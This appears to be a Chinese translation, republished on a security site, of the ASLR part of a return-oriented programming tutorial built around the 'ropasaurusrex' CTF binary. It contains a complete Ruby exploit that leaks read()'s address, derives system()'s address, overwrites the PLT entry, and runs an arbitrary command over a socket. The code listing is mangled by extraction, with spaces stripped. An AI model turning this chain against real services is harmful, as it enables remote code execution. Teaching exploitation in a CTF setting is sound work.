Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】ropasaurusrex:ROP入门教程——ASLR

$
0
0
【技术分享】ropasaurusrex:ROP入门教程——ASLR

2017-06-05 13:59:28

阅读:337次
点赞(0)
收藏
来源: 安全客





【技术分享】ropasaurusrex:ROP入门教程——ASLR

作者:Kr0net





【技术分享】ropasaurusrex:ROP入门教程——ASLR

翻译:Kr0net

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】ropasaurusrex:ROP入门教程——STACK

【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)


什么是ASLR?

ASLR或者说地址空间布局随机化,是现代系统里一种通过随机加载函数库的地址的防卫措施(除了FreeBSD)。举个例子,我们运行两次ropasaursrex并且获得system()的地址:


【技术分享】ropasaurusrex:ROP入门教程——ASLR

可以发现,两次system()的地址不一样,从0xb766e450到0xb76a7450,这就是问题所在。


攻破ASLR

所以,现在我们知道的哪些什么知识可以来用呢?可执行文件本身并不具有随机化,所及我们可以依赖它里面的每一个地址用来定位,这是十分有用的。最重要的是重定位表会一直保留着相同的地址:


【技术分享】ropasaurusrex:ROP入门教程——ASLR

我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值:


【技术分享】ropasaurusrex:ROP入门教程——ASLR

仔细看看...我们知道了一个指向read()内存地址的指针!我们可以怎么做呢,想想...?我会给你一点提示:我们可以用write()函数从任意内存中抓取数据并且写入socket中。


最后,执行一些代码!

好的,休息一下,我们将这项工作分解成下面几个步骤,我们需要:

1.用read()函数复制一指令进入内存

2.获得write()的地址并且使用write()

3.计算write()和system()两者地址的偏移量,间接得到system()的地址

4.调用system()

要调用system(),我们需要在内存中的某处写入system()的地址,然后才能调用它。最简单的方式是重写read()的plt表,然后调用read()

但是现在,你可能很疑惑到底要怎么做,别急。我过去也是,并且我为我完成了这个任务感到震惊。:)

现在让我们全力以赴来完成它,下面是我们想要建立的栈:


【技术分享】ropasaurusrex:ROP入门教程——ASLR

Holy smokes,这是怎么来的?

我们从底部开始看看它是怎么运作的!为了方便区分,我为不同的栈帧做了标记。

Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。 Fram[2]用”pppr”来清除栈(调整esp)。 Fram[3]用write()把read()的地址写入socket。 Fram[4]用”pppr”来清除栈(调整esp)。 Fram[5]socket读取另一个地址,并将其写入内存。这个地址将会是system()的地址。
【技术分享】ropasaurusrex:ROP入门教程——ASLR
read()的调用实际上是一个间接的跳转!所以如果我们可以改变0x804961c中的值,然后跳转过去,那样我们就可以跳转到任何的地方!所以在Fram(3)中我们读取read()的实际地址,然后在Fram[5]在这个地方重写地址。 Fram[6]用”pppr”来清除栈(调整esp)。这里有一点不同,ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址,然后就会跳转到system。

最终的代码

Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR:

1.require'socket' 2. 3.s=TCPSocket.new("localhost",4444) 4. 5.#Thecommandwe'llrun 6.cmd=ARGV[0]+"\0" 7. 8.#Fromobjdump-x 9.buf=0x08049530 10. 11.#Fromobjdump-D./ropasaurusrex|grepread 12.read_addr=0x0804832C 13.#Fromobjdump-D./ropasaurusrex|grepwrite 14.write_addr=0x0804830C 15.#Fromgdb,"x/xsystem" 16.system_addr=0xb7ec2450 17.#Framobjdump,"pop/pop/pop/ret" 18.pppr_addr=0x080484b6 19. 20.#Thelocationwhereread()'s.pltentryis 21.read_addr_ptr=0x0804961c 22. 23.#Thedifferencebetweenread()andsystem() 24.#Calculatedasread(0xb7f48110)-system(0xb7ec2450) 25.#Note:Thisistheonenumberthatneedstobecalculatedusingthe 26.#targetversionoflibcratherthanmyown! 27.read_system_diff=0x85cc0 28. 29.#Generatethepayload 30.payload="A"*140+ 31.[ 32.#system()'sstackframe 33.buf,#writablememory(cmdbuf) 34.0x44444444,#system()'sreturnaddress 35. 36.#pop/pop/pop/ret'sstackframe 37.#Notethatthiscallsread_addr,whichisoverwrittenbyapointer 38.#tosystem()inthepreviousstackframe 39.read_addr,#(thiswillbecomesystem()) 40. 41.#secondread()'sstackframe 42.#Thisreadstheaddressofsystem()fromthesocketandoverwrites 43.#read()'s.pltentrywithit,socallstoread()endupgoingto 44.#system() 45.4,#lengthofanaddress 46.read_addr_ptr,#addressofread()'s.pltentry 47.0,#stdin 48.pppr_addr,#read()'sreturnaddress 49. 50.#pop/pop/pop/ret'sstackframe 51.read_addr, 52. 53.#write()'sstackframe 54.#Thisframegetstheaddressoftheread()functionfromthe.plt 55.#entryandwritestotostdout 56.4,#lengthofanaddress 57.read_addr_ptr,#addressofread()'s.pltentry 58.1,#stdout 59.pppr_addr,#retrurnaddress 60. 61.#pop/pop/pop/ret'sstackframe 62.write_addr, 63. 64.#read()'sstackframe 65.#Thisreadsthecommandwewanttorunfromthesocketandputsit 66.#inourwritable"buf" 67.cmd.length,#numberofbytes 68.buf,#writablememory(cmdbuf) 69.0,#stdin 70.pppr_addr,#read()'sreturnaddress 71. 72.read_addr#Overwritetheoriginalreturn 73.].reverse.pack("I*")#Convertaseriesof'ints'toastring 74. 75.#Writethe'exploit'payload 76.s.write(payload) 77. 78.#Whenourpayloadcallsread()thefirsttime,thisisread 79.s.write(cmd) 80. 81.#Gettheresultofthefirstread()call,whichistheactualaddressofread 82.this_read_addr=s.read(4).unpack("I").first 83.83 84.84#Calculatetheaddressofsystem() 85.85this_system_addr=this_read_addr-read_system_diff 86. 87.#Writetheaddressback,whereit'llberead()intothecorrectplaceby 88.#thesecondread()call 89.s.write([this_system_addr].pack("I")) 90. 91.#Finally,readtheresultoftheactualcommand 92.puts(s.read()) 93. 94.#Cleanup 95.s.close()

这里是运行结果:


【技术分享】ropasaurusrex:ROP入门教程——ASLR

当然你想的话,我们可以改变cat/etc/passwd成任何东西(包括端口监听):


【技术分享】ropasaurusrex:ROP入门教程——ASLR

(总结:这篇文章的翻译到此结束,文章从三个阶段:STACK,DEP,ASLR逐步递进详细地讲解了ROP的编写,译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱,但是译者觉得在PWN的学习中,当然除了出题人带来的了巨大脑洞之外,每一次PWN的学习都可以带来狠多的乐趣,就像本文的作者把栈比喻成函数的天堂和地狱,每次PWN的利用无不是对函数世界的重构,虽然重构的过程艰难且繁杂,但每次重构后的世界都能给我们带来收获)


传送门

【技术分享】ropasaurusrex:ROP入门教程——STACK

【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)




【技术分享】ropasaurusrex:ROP入门教程——ASLR
【技术分享】ropasaurusrex:ROP入门教程——ASLR
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images